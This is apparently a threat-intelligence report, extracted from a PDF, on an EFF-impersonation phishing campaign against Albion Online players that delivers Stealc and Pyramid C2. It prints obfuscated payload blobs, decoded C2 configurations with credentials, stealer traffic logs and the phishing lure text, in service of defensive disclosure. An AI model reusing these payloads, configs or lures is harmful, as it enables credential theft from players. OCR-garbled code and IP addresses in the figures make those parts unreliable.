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Open directories often expose more than just files--they provide a window into how malicious campaigns operate.
In this case, we identified a threat actor impersonating the Electronic Frontier Foundation (EFF) to target
the online gaming community. The exposed directory contained decoy documents alongside the malware used in

this operation: Steal and Pyramid C2.

Further analysis linked 11 additional servers to the campaign through shared SSH keys, indicating a broad
network footprint. Code comments found within malicious Python and PowerShell scripts suggest the work of a
Russian-speaking developer. The tactics and malware observed align with financially motivated cybercrime
activity. Hunt had already identified both C2 servers weeks earlier as part of routine scanning, but the open

directory provided the link between the malware and this operation.

This post examines the role of the decoy documents and phishing attempts in the activity and explores how code

analysis revealed additional infrastructure.

Campaign Overview

A threat group impersonating the Electronic Frontier Foundation (EFF) is targeting Albion Online players through

decoy documents designed to lend credibility while malware executes in the background.

Albion Online is a multiplayer online role-playing game (MMORPG) with a player-driven economy. While real-
money transactions are against the game's terms of service and can result in permanent bans, third-party markets

exist where in-game assets are exchanged for money, making player accounts a lucrative target.

Players on the game's forum have reported receiving messages from other members directing them to phishing

websites, with the EFF's name used as a pretext to discuss the security of in-game goods tied to their accounts.
Technical Details

Open Directory

On February 27th, Hunt's AttackCapture™ identified an open directory at http[:]//83.217.208[.]90/documents.

AttackCapture™ scans and archives files from exposed servers while categorizing malicious samples based on
sandbox analysis, enabling quick reference during threat hunting. This particular server contained detections for

PowerShell usage and Stealc, which immediately grabbed our attention.
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Exposed Open Directories

@ Total files  Total size g,; Host
- 14 18.54 MB http://83.217.208.80 )
Hunt IP Search
i @ Partner Hosting LTD
o Timestamp
O] == Hesse, DE
2025-02-27 06:00 1 day ago
Matched: ()

Q. search file name Settings @
File name File Size Tags System Tag  Malware Tags Last seen First Seen
/documents/ 18.54 MB
(m 11012) (@ T105%.001) (@ 11082 ) (@ 11005 ) (@ 11112) (@ mzwi}:u 11539 ) (@ T1552.001 ) (@ 11555.003 ) (@ 11556 ) (@ T1614 oow‘;: (3 stealc ) 8 files v
- Report-Albion- 1.53 KB (¥ T1012 - Query Registry Mitigation n 11059.001 - PowerShell ) 1 day ago 1day ago Q
Online.Ink —_— ~ :
(¥ 11082 - System Information Discovery Mitigation )
- Albion.pdf 68.28 KB 1 day ago 1day ago
- Python.zip 8.84 MB 1 day ago 1 day ago
- terms-of- 1.53 KB (% 71012 - Query Registry Mitigation ) (# T1059.001 - PowerShell ) 1day ago 1day ago Q
service.pdf.Ink p — B 4
(¥ 11082 - System Information Discovery Mitigation )
- 1710407310845 .pdf 2.36 MB 1 day ago 1 day ago
- Python.zip 7.27 MB 1 day ago 1day ago
- albion.ps1 2.08 KB (3% 71005 - Data From Local System Mitigation ) 1day ago 1 day ago Q
'ig T1012 - Query Registry Mitigation \‘, i( 71059.001 - PowerShe \:

(¥ 71082 - System Information Discovery Mitigation )

Figure 1: Screenshot of the directory contents hosted at 83.217.208[.]90 in Hunt.

The server hosted a mix of PDFs, ZIP archives, PowerShell scripts, and filenames with double extensions---

common indicators of malware staging. While this section provides a brief overview of notable files, a detailed

analysis follows in the next section.

Infrastructure & SSH Key Overlaps

Let's first look at the IP address hosting the malware. Clicking on 'Hunt IP Search' in the Host section brings us to

the overview page, which quickly shows two areas of interest.
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83.217.208.90 - Overview

Domains 0 History (Beta) Associations 11 SSL History SSH History JARM Port History Signals Activity 0
83.217.208.20 o DNS
. Reverse DNS Unused
@ Partner Hosting LTD
Forward DNS Not available
° Tag Not available
) Fran«furt
Wiesbaden:
Ry FRA.
ainz o
ASN
Frankfurt am Main, Hesse, DE ®
AS215826 83.217.208.0/24 Partner Hosting LTD
Open Ports and Software
Last Seen
Name Port Product Version Extra Info First Seen
SSH 22 - - - 2 weeks ago Q

4 months ago

HTTP

HTTPD 2458 - 2 days ago Q .
2 days ago

Figure 2: Hunt overview for the suspicious IP.

First, the 'Associations' tab displayed a pivot point revealing additional infrastructure. This IP address shares SSH
keys (fingerprint b48b0e3657560b80ce5e8309e422aa1655e4df2642d4a955b83945bac@96b3f ) with 11 other IPs, all
hosted on the Partner Hosting LTD network.

While no significant indicators were found linking these servers to other known operations, all remained active

between early to mid-January 2025 before ceasing activity around February 21.

More interestingly, the icon next to the magnifying glass for port 80 identifies that Hunt has already detected this
IP as hosting a Stealc C2. We currently track 23 unique command-and-control servers associated with the stealer,

with detailed information fully accessible to users.

Decoy Documents and Phishing Strategy

Within the /albion/files folder is a document titled 'Albion.pdf."' Upon opening the file, readers are

presented with what appears to be a report from the Electronic Frontier Foundation titled:
"Electronic Report on Investigation of Virtual Asset Theft in Albion Online."
Hunt researchers have not been able to verify the document's authenticity as of this article's publication.

*The EFF is a nonprofit that advocates for digital privacy, free expression, and cybersecurity protections while

challenging government surveillance and online censorship.
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ELECTRONIC
FOUNDATION

Electronic Report on Investigation
of Virtual Asset Theft in Albion
Online

Date: 02.11.2024

Report Prepared by: Flectronic Frontier Foundation (EFF)
Case #: EFF-ALBION-2023-

User Account ID: ALBION-USER-

Figure 3: Suspicious PDF targeting users of the Albion online game.

The document is three pages in length, and informs the reader that EFF received a request from the administrators

of the online game to analyze transactions on the individuals account.

After listing seemingly random item IDs linked to the potential victim's account, the report leads directly into the

investigation results, informing the reader that unauthorized login attempts were detected and that stolen items
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were transferred to their account.

The report concludes with recommended steps to further secure the user's account and leaves only the URL for the

EFF contact webpage for questions.

Document Analysis

Extracting metadata from the PDF using pdfinfo revealed several notable details:
e Creation Date: Feb 18, 2025
e PDF Library: Skia/PDF m132
e Title: localhost:36223/webpageToPdf_67b3548070585_14546073906135625492.html

e Creator: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
HeadlessChrome/132.0.0.0 Safari/537.36

The above suggests the PDF was generated programmatically rather than manually created. The title field
indicates it was converted from an HTML page hosted on localhost, reinforcing our belief that this was an

automated process to mass-generate lures for phishing campaigns.

Albion.pdf

<0) HeadlessChrome/132.0.6.0 Safari/537.36

Tue
Tue Feb 1§
no

. ho

Figure 4: Results of running pdfinfo on Albion.pdf.

We won't discuss in detail the other PDF on the server, '1710407310845," as we could not find proof of its use in

the wild. The document appears to target individuals in India with DCMA takedown notices.
Of note, this document contained the below details, which were a departure from Albion.pdf:
 Title: New Applications_April 2023.xIsx
e Author: shitesh

e Creator: Acrobat PDFMaker 22 anist Word ("ans" translates to "for" in English)
Phishing Attempts Against Forum Users

On 28 February, a user on the Albion Online forum (forum|.]albiononline[.]Jcom) created a thread detailing

phishing messages they had received. The messages, impersonating the EFF, attempted to lure players into
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engagement under the pretense of an investigation. Notably, the user ended their post by expressing frustration at

the increasing volume of these messages, suggesting the campaign is widespread.

Forum

“

Phishing Messages on the Forum E=E=m

Phishing Messages on the Forum

Figure 5: Screenshot of forum posts describing the phishing attempts against users.

The moderator acknowledged the attempts and provided general security recommendations as the discussion
continued. An additional user reported receiving the same message and attached a screenshot showing the sender

and contents.

The image revealed another piece of attacker-controlled infrastructure hosting a PDF at: act-
7wbg8j3pesoldqc1.pages[.]dev/819768.pdf

forum.albiononline.com

& Ec + Reply
reraveca1977 =
19 minutes ago
Dear The Electronic Frontier Foundation (EFF) team

have previously attempted to contact you via e-mail about goods
on your Albion Online account but have not received a response.
As a result, we have sent an formal request to the game's
support team, and they shared with us information about
activities associated with your account. Our analysis has
revealed that several goods on your account might be

ciated with sus ivity. To avoid developer-im

Cio

actions from the develop:

you go through the attached report. We have compiled a in-depth

an account ban, we suggest that

PDF document including information about ageount operations
and further instructions. This is the last notice. After reviewing
the document, please contact us by repfying to this message
Document for reference:act- ¥ &
7wbq8j3pesolqc1.pages.dev/819768.pdf If you suspect you
have been a victim of fraud or an error, please let us know
without delay. Keep in mind, the security of your digital assets is
up to you. We advise activating an additional security layer and
monitoring your financial records. Sincerely,Digital Rights
Protection Department

Figure 6: User-provided screenshot of the phishing message they received.
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‘We were unable to retrieve the document as requests to the page resulted in a perpetual loading page. The sender
of these messages, "reravecal977," created their forum account the same day, February 28, before likely wiping

their activity. There have been no further posts/activity from this account as of this writing.

The forum discussions confirm that phishing messages were actively circulating, aligning with findings from the

open directory and leading to additional attacker-controlled infrastructure hosting decoy documents.
Malware Analysis

Looking into the /albion directory revealed a Windows shortcut (LNK) file designed to execute a PowerShell

script, which facilitates malware delivery. The directory contains:
e Report-Albion-Online.lnk
e /files/Python.zip

o /files/Albion.pdf

Index of /documents/albion

Name Last modified Size Description
& Parent Directory -
@ Report-Albion-Online.Ink 2025-03-01 22:08 1.6K
(O files/ 2025-02-21 14:07

Apache/2.4.58 (Ubuntu) Server at 83.217.208.90 Port 80

Figure 7: Screenshot of the files contained within the /albion directory.

The LNK file executes PowerShell using an Execution Policy Bypass, running albion.ps1 -a script located in

/documents/pwsh/ on the same server. Once executed, the code retrieves Albion.pdf and Python.zip from the
directory depicted in Figure 7.

The PowerShell code contains multiple comments in Russian, further supporting earlier indicators that Russian-

speaking developers were involved in this operation. The script performs the following actions:
1. Opens Albion.pdf to distract the user while the malware executes in the background.

2. Extracts Python.zip and sleeps for 30 seconds.
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3. Searches for pythonw.lnk , a secondary shortcut file.

4. If found, it executes pythonw.Ink and moves it to the Windows Startup folder, ensuring persistence on

reboot.
5. Drops albion.exe and 12.py from the zip archive into the TEMP folder.

o albion.exe isarenamed legitimate Python 3.10.8 executable, likely used to execute the

accompanying script.
o 12.py will be discussed below.

Reviewing the contents of 12.py in a text editor, we found that the developer commented (in Russian) on every

line of roughly 130+ lines of code.

The script includes logging, error checking, and, more importantly, two strings defined, encoded_script_1 and
encoded_script_2 , obfuscated using zlib compression and base64 encoding. Upon decoding, both scripts are
executed in the background while the main program sleeps for 30 minutes and then terminates the two processes

at the end of the time.

Figure 8: Snippet of 12.py.

Decoding the strings in CyberChef reveals configuration files for Pyramid C2, an open-source framework we

previously wrote about, including tips on hunting for these servers in the wild.

Extracted C2 Infrastructure

encoded_script_1 contains the C2: 104.245.240[.]19:443
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Input + O30 8 =

eNgtWHtzm@gS/3v5FH10JUCCsdSWYFEQWMI2FV1SSTi+VNarQjCSZo0AALKE300zX/cAQrYcp3K1KieCnuSfP6dnWrIsS8Y6XYbxCXwInK/JIgDFVaFWqdUlgccSN+ZRysPgBEab2F LxD1aht/

YZsHvmrmkF3Nj xk JCG4IV3gR86ngYec+NN1ITTeDknAx4cr tgqjDc6SFI3 DY xXyzTTNWIxSueJATHELiymMe2s I1idIGWINO8Zg3A07 tKIFOW] VUBWGY ] FCQQESIThAQBWAICLSMSZLhEmCefpnRMZYYWT JKHLHCRDM
31igWpI8yfc5810KRLBeTX0JA1STyhzk+mg20VizBHcdwr VOIWZLG3CUMDZ Lcf+2RDCWyz1c810Diwt eELF8N6AHZQVEO+Zy+mXAriWs98niwxepygZxgODRIiuixAKQNI0AD ]S I VEWIHUAWYPXWaBBWIRBTQNA+RE
u3DFcPPcEQzddxgCqZ16UPQyYB/sXc 1CJEPGIIPTW]19ww8Dh5 1IxINgdds/

CWCVeyTAZhipZmF LD80zKp+VKydNDOGCcV j hWoxus60NzFpT1LMO8TQR2Es1D32Up T sCxMmwzP72hibYE1gNB5+snpmDw6MCb4faHBt2RFDKxuQY2wM7M8wPAN j 8Bk +WoOeBuY/

R2NzMoHhGKz LUd8YkWYNuV2rnjUah10UGwx t6FuX 102g9hBIYQS ImRMCuz TH3QtBNUG VMY /1qQzyx4Q5hmCG j AyxrbVveobYxhdjUFDiYnqewg7sAZnYIR1XpoDWae t SAPZE77ASML094UqAWq tHwy TusPRS7F1FmH
xbDfMSF4aqd LxmnfzFShU92+YV1qUs+4NMSNITVE LLFgy6yD6wt TKFCfgX9d2x00yI3ucGCP8VVDLET2VyTampgaGGNrQgESGWBYNaBwosRQKDCWMXQKNSwmXE JWej9Cp3e2t Iz T5iTUh411mXZGXCE 19Rt gELf+2
xds69n@+02P2bY27raDOnIS1GlulxC8e106yRH5JevHiBZybA3NSIMNQM+sckPRCknDzxVNngZsfOiBfht+57ztHTbOCY jUPSHB1gHmoVvTK74CEVUN3uGB1VDCiyGfXbPaRp@fN+rFeb4HyBcK+7Gu40b8y0GfullC
7jI0V+yo2dYrer1Se6tXqxWYOHMNSpmYLEVZG51mbbQj4/

fhbK1HGzkz26adgzt tzhe®QdFUFouuhQ2xaMHoxC2LYR3hzsLNEqf rSOw6CowH1ILD1YoIPg8YLPgtCwQ2VEtXwMISL LTXWLXFp9XYihEnKandsbQ3N1HXkagWhixpN/FfRG29LRy jyHbnR2PGNotyRI/
PkQ91JPMP7dsc+vGgkzo4Qtu003KrVG6/qtcZiriqrverWFshdnrySIRaId4wP3fkfGpos/
tcoudsfihYj1qTOTca3RbB23S+XLNIO@6MVOVMEOPTXPOKRZCRZ 7ywwUPjvZzFW2wtwfZIZbRyryZul 1301d5bA4F613sRNgMFc9JHQIKNIQTCFDD5Zzs06GBh30exnK3RBO+atZ92kL iHQIHQMxBUVA2RSLGX54KCyvx
LdvI7qnKGZ9XpSVh/oHm37IwlIZ/ZZvcZ6QxbOpU3IhfbrI44GNFPM3XIKC16Ww]jLg7ipbQSXeHwDnwWKCVi8cmQhWBnB+RPUVEF32zzBSOW6ZSjwlFJafcDJ4UOHq1sS8xP2C20r/7/
aQmseWGJJI1BIgYxdh3nDmeSMiKVPkmWI3Zc6KgoRX 1Fu8YYSJIOMA7 FRGE@g40D87y/ iPPIns5f ISKUMYLWXTpdwgOXR3gve1FGEhNATXObFA/0tHaZUKDTXSNUXI7PGFgby JImxnEYZ3IFI7yC/1bus/
1nV+CT468zCUUeFdzYCONjGLtHr NVIWNZRCOCPCIIwFj4QoMD+VKWON/ tCBeulpa®t0fisY2z/gQyolLA7xgsgUVOBWqrMkK8ot VHUHVIXRGSIV/

g238P49KPUaH0JqgfNt jUcCANmtxuKZSwjsg0oSgeJEsdt sX5wYrSRHfb/B1dvMQO+fyiCs35729KUQ1qLbUnMXNgdwMyHsaaPYAaJYBuQRUU/8ei9p/ke@HHIoxuek99gHIDr9HXjPD1pCGgq61647hvaveaqlVsTI/
HbQ3n LnqreXyMpwt6dfz2uNZuluoiTCThgBPOleSzG42+xubpf LXkd+2+nDXCNDPjEk91eir2R7EskFpPIfUJCUsNOe+WOMVANCB28ulgkSoor277Kac+ihPVginibcveK52KBugPtMtMPCFU1QB AW/
xqf5DppoGLWRAWGT jhOx1TAAYIGC1qT5jUzNHaj5nUy tHqj1n@3HUXfO@5mxq5d40y fFC6FL8SAHVIqixLwWt 12bKwsT1VIeeOP6vBXDNBHqds®iNYNrngra®IpHt 9A9Ymix 1625cWDsBAqKOkpHYf LTHIXPys0ZyqkzCA

21EEhZtvnANGr7f FarSRTmAARTAT F+Sx 2f TMnuSI FAAF7+0vl iNM3nPMAA/
ec 3124 = 1 Tr Raw Bytes ¢ 1

Output B0Om::

### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER

pyramid_server='104.245.240.19"
pyramid_port='443"
pyramid_user="Sfs@3asd
pyramid_pass='6234&324 !
encryption='chacha20’'
encryptionpass="'6234&324
chacha20Iv=b'12345678"
pyramid_http="http'
encode_encrypt_url='/login/"'
pyramid_module='pythonmemorymodule.py'

### END DELIMITER

def encrypt_wrapper(data, encryption):
if encryption == 'xor':
result=xor(data, encryptionpass.encode())
return result
elif encryption == 'chacha20':
result=encrypt(data, encryptionpass.encode(),chacha20IVv)
return result

def xor(data, key):
xored_data = []
i=e
for data_byte in data:
if i < len(key):
xored_byte = data_byte A key[i]
xored_data.append(xored_byte)
i+=1
else:

Figure 9: CyberChef decoding results for encoded_script_1.

C2 for encoded_script_2: 212.87.222[.]84:443
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Input + O3 w =

eNqtWHtzmOgS/3v5FH10JUCCSVEWFG+UCpawTUWWVBKOL5X1qhCMpNkgIIBsK/f47Nc9gJAt x61cLeUyTE/3r18zPd0SZVkylukyjE/
gQ+BBTTYBKK4KtUqtLkk91rgxj1IeBicw2sTOinuwCr21z4DdM3dNM+DGjoeENAQvVAVBOPER8JIgbb6 ITUNMDLORNWAHDFVMGBOUGSUMGO1if limWagRixe8SQh0J7AksVstoFF7AQpQ7R5zBiEc
CXTrxgGqlygglELE5SQIJy1Dg94sAAHXIQ1znSIMEKAT++cmAkrnCQJXedgHprpr LesSB1h/pz7LAELXTI4AmOQSBEomkT/
M8dFsoL1iCu44hmudQsySNOYuYWjISPprj2wopn2+4rkGEhe+JImTS0KEPYEGNQSNNIGhCrWwg983myx0hxgpShODRI101yAKUK9OMojCFhvk8IHOOWvpbWacJX1BJIRQNMBRELV3TICPTQEQzZRT X
GqZFEWPgyZOPgXc10iEPS89P3w] LxzwBD])SFFyItk448zCWyZcyTIZhClaml1A8Y/
Kp0ZTydJBO2csjxeqxeg6097EpD1IMe8cQx+FsVD32Etdsi9MmAZP7Gt JbII1gdF4+MngmTOAMCYAPtDg2r Ivh1c2IMfYGNifYXgGxuAzfLQGPQ3Mf47G5mQCwzFY 160+ZSLNGNT7VzZ1r cA6nk
cY2tC3Li0hQe®hkMIcyjInBHZpjrsX0DROrb51f9akM8seEOYZghowMsa21b3qG2MYXY1HwAmI6NsIO7AGZ2PUY 16aA1tHrUgD8XMOYHIhOPtCLXGF1lo+Ffd3h6PPYOr+wdWLY75 LIPDXRMUOE
2aqeKlu37AuNalnXBrnppAalspYsGXWwfWFKUioz8C/

rmONB+RGdziwxzjUOMuxvRWItiamBsbYm1BAzshDSwOonCgxFCAONZAZFA017GZEQhYaX6HTW1t6ptFHrAkJ7zLr koxFSOIryjbgwl+7aTFax77PZ3rMvqlxtxXUmZOwZmMrkfjF593J1sgvss
evIBzc2C0jT4ZemadA5JeSBJuvnjqLHDzQwfky/A7933n6FivgHLNAGX FCWAeqhW98]jsgodndHe6bDRWMKPLZNZ t950nRch2115ugfLywl/
sabvSvDM6Z+zVUobuMwxU70m7rFb1eqbh3VqOUKTJySE/NMTJair Ix0szLakfF90FvqeUb0zLZp5+BOm/

MFbVAG LcWiamFBLEowONHLY LhHULNwS8TpOhK7jgLjAZXkcLUigs8DBgt+ywKBjatgel jFhZY1rivjOur tRALT1K355hQINFPWkWvVmt5ubbUavhglHxT4]txo7LhGQe7Ik3nyoedknuFSu2Mf
jQSZecIq3FHbtbqjVf1Wu06V63VX1VrC+Q+T17JEgVEGYFbvyNjzce/WmWX+hPxQsT61JnJONc4brbapfJimkydmf4LzNBjOxx6iuut Ix/S4YIHR/
upijZY2oPsDMtoZdpM3Ns7wZM8NocCIS52IqyFiuekjgalG+qIBPjw+Q4NOrgu78NYzubowYNm7acdJO4hUCDOzAdFVXckUgzruaCgMn9fyzaye6pyxufVawwyf6D5tywMpeF f2Sh3GWnMmxIV
+GXmyw0+FKRX3M8B2huOtuIledMY1FaiKxzegc8CpUQsngxZCHZ2QP4k5V/ 4zRO8xXKRThgIPKaXVB5wc3nSguiUxP2G/
olLby/6stt0aBJZZEKQEydhHmDWe+Ny2SMkWeKRZT5qwoSHhDucULRpiI87tTEUE70Dg4z8uLOF7v6fgVIUIWI2jdpdMPHBShNCcYHWUkKQEBObE+8YAOa5cpBTRAhdI8IbHDEWL2ImImHIdXJ1
wWwiv4b+V+nj+7Ap8cf51IKPKo4MZSSBrXiF6v6bL6pBHCURG1Syx4 JESB+alMsdbgHx201562tuTkt4Kx/QM+pFLC4hDvhOxBOW6hOkuyotzCu3dIxXRiVIVLh33AL79+DUq/BIC4WON/

e 3124 = 1 Tr Raw Bytes ¢ |

Output RO @E::

arrprera—oroe

import hashlib
### GENERAL CONFIG ####

user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
pyramid_module="mod-bh.py"'

### This config is generated by Pyramid server upon startup and based on command line given
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER

pyramid_server='212.87.222.84'
pyramid_port="'443"
pyramid_user='Sfs@3asdA
pyramid_pass='6234&324WD1Z !
encryption='chacha2e’'
encryptionpass="'6234&324wD
chacha20Iv=b'12345678"
pyramid_http="http'
encode_encrypt_url='/login/"'
pyramid_module='pythonmemorymodule.py"'

### END DELIMITER
def encrypt_wrapper(data, encryption):
if encryption == 'xor':
result=xor(data, encryptionpass.encode())
return result
elif encryption == 'chacha20':
result=encrypt(data, encryptionpass.encode(),chacha20IVv)

return result

def xor(data, key):

Figure 10: CyberChef decoding results for encoded_script_2.

Checking these IPs in Hunt, we were surprised to find that our scanners detected the second C2 as Pyramid C2

infrastructure roughly two weeks ago.
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212.87.222.84 - Overview

Domains 0 History (Beta)  Associations 0 SSLHistory ~ SSHHistory ~ JARM  PortHistory  Signals Activity 0

212.87.22284 © DNS
Reverse DNS U ed
@ GLOBAL CONNECTIVITY SOLUTIONS LLP everse e
Forward DNS Not available
7% s Tag Not available
Helsinki
ASN
Helsinki, Uusimaa, FI &
AS215540 212.87.222.0/24 GLOBAL CONNECTIVITY SOLUTIONS LLP
Open Ports and Software
Last Seen
Name Port Product Version Extra Info First Seen
SSH 22 - - - 1 day ago Q

3 months ago

HTTP 483 BaseHTTP 06 2 weeks ago Q £
2 weeks ago

Figure 11: IP overview of 212.87.222[.]8, showing it as a Pyramid C2 in Hunt.

Pyramid C2 Behavior

Pyramid C2 is designed to deliver files encrypted, a technique that may allow it to bypass endpoint detection and
response (EDR) solutions. Prior research identified its use of Basic Authentication and a distinct JSON response
format, which appeared again in this case. Reviewing the network communications from a malware sandbox
analysis displayed an HTTP GET request to
http[:1//104.245.240[.]119:443/10gin/3keXipGb5Rr+gpG09CjsSfdz+of5

The response is consistent with previously observed Pyramid C2 research, reinforcing its role in this campaign.

Page 11 of 15


https://app.hunt.io/search/detail/212.87.222.84

https://hunt.io/blog/russian-speaking-actors-impersonate-etf-distribute-stealc-pyramid-c2

O D 104.245.240.19;

Figure 12: JSON response from the Pyramid C2 server.
Steal Communications

Following the Pyramid C2 check-in, the malware initiates multiple POST requests to
http[:1//104.245.240[.]118/d7f85cd3e24a4757 .php .

These requests, made over port 80, align with Stealc stealer's standard check-in process. The malware proceeds to
interact with the Firefox and Chrome browsers, extracting stored credentials before sending them back to the C2

server.

1 POST http://104.245.240.18/d7{85cd3e24a4757.php ALBION.EXE

Remote address:
104.245.240.18:80

Request

POST /d7f85cd3e24a4757.php HTTP/1.1

Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH
Host: 104.245.240.18

Content-Length: 268

Connection: Keep-Alive

Cache-Control: no-cache

Response

HTTP/1.1 288 0K

Server: nginx/1.18.8 (Ubuntu)

Date: Thu, 27 Feb 2825 14:16:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2064

Connection: keep-alive

Vary: Accept-Encoding

http://104.245.240.18/d7{85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/d7{85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/d7{85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/26 3ff79562167f22/sqlite3.dll ALBION.EXE

http://104.245.240.18/d7f85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/d7f85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/d7f85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/d7f85cd3e24a4757.php ALBION.EXE

http://104.245.240.18/263f79562167f22/freebl3.dll ALBION.EXE

Figure 13: Snippet of the C2 communications as found by Triage.
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The remaining PowerShell script, osnova.ps1 , functions identically to the previously analyzed code and,

unfortunately, does not introduce any new tactics.

Conclusion

The recent campaign targeting the Albion Online gaming community underscores the evolving tactics of cyber
adversaries. By impersonating reputable organizations like the Electronic Frontier Foundation (EFF), attackers
disseminated phishing messages that directed users to malicious infrastructures hosting both decoy documents and

malware.

This strategy not only exploits the trust users place in well-known entities but also leverages the immersive nature

of gaming environments to increase the likelihood of successful compromises.

Our investigation revealed that the threat actors mistakenly or intentionally left directories exposed where their
malicious payloads were stored and distributed, a misstep that can easily go unnoticed without proactive
monitoring. By analyzing these open directories, we identified the deployment of tools such as the Stealc stealer

and Pyramid C2, highlighting the sophistication and resourcefulness of the adversaries.
Mitigation Strategies
To stay safe against such phishing campaigns, users are advised to:

o Exercise caution with unsolicited communications: Be wary of unexpected messages, especially those

requesting personal information or urging immediate action.

 Verify the authenticity of sources: Cross-check the legitimacy of emails or messages purportedly from

reputable organizations by contacting them through official channels.

 Utilize security tools for link and attachment analysis: Before interacting with links or downloading
attachments, employ sandbox services like URLScan or VirusTotal to assess potential threats. *Ensure

you aren't uploading sensitive information first.
Infrastructure Observables and IOCs
SSH Fingerprint: b48b0e3657560b80ce5e8309e422aa1655e4df2642d4a955b83945bac@96b3fh

Network Observables and IOCs

IP Address ASN Notes
83.217.208[.]90 Partner Hosting LTD Opendir/Stealc C2 -- Port 80
104.245.240[.]19  Railnet LLC Pyramid C2

212.87.222[.184 GLOBAL CONNECTIVITY SOLUTIONS LLP  Pyramid C2 -- Port 443

185.102.115[.]18  Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
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IP Address
185.102.115[.]16
185.102.115[.]20

185.102.115[.]22

83.217.208[.]108

185.102.115[.117
185.102.115[.]11
185.102.115[.]14
185.102.115[.]19
185.102.115[.]21
185.102.115[.]15

N/A

https://hunt.io/blog/russian-speaking-actors-impersonate-etf-distribute-stealc-pyramid-c2

ASN Notes

Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Parter Hosting LTD Shared S?H keys w/ 83.217.208[.]90

Domain: immediate-zenar|[.]net

Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]190
Partner Hosting LTD Shared SSH keys w/ 83.217.208[.]90

CloudFlare, Inc.

Host Observables and IOCs

Filename

SHA-256

act-7wbq8j3peso0qcl.pages[.]dev

albion.ps1

osnova.psl
Report-Albion-Online.lnk
terms-of-service.pdf.Ink
1710407310845.pdf
Albion.pdf

Python.zip (/albion/files/)
12.py

albion.exe

Python.zip (/files/zip/)

a524d1acb0692fc90e20548d4bea29b4996c4113420942e43addd8c5609e29a4

4dcca5d3269eb44f3cf7af62c0da3b6acab67eb758c9fb2f5cc5b1d13a7286f7

cf8065df8674c2a09b3cb94f308c48f04a8664b066dd5107b117e99062f5621e

cf8065df8674c2a09b3cb94£308c48f04a8664b066dd5107b117e99062f5621e

a7e617783d7f1b0079c605126fba074ee7ee431077cd97d391e41f364a0afelb

b7612517337a7a3678e7f138dab36cd8a42e843f0536c0ccb74a2b0aa2224505

£60c212190a69149480586c9c9e340605dfadb16a571f34b2ce31db4d0f7659a

aa89169a746709de1fd18510fc6e8850a863ebcc419balca21fa479e59730c6e

56f1a4d528fdee439b5b747c00d0b4a61b2c0bd8783e0abdb87c6d969a8f1e91

3d3559a29f94bb349b928518dcf0c3757813e32195d16880e94169ca9affdede
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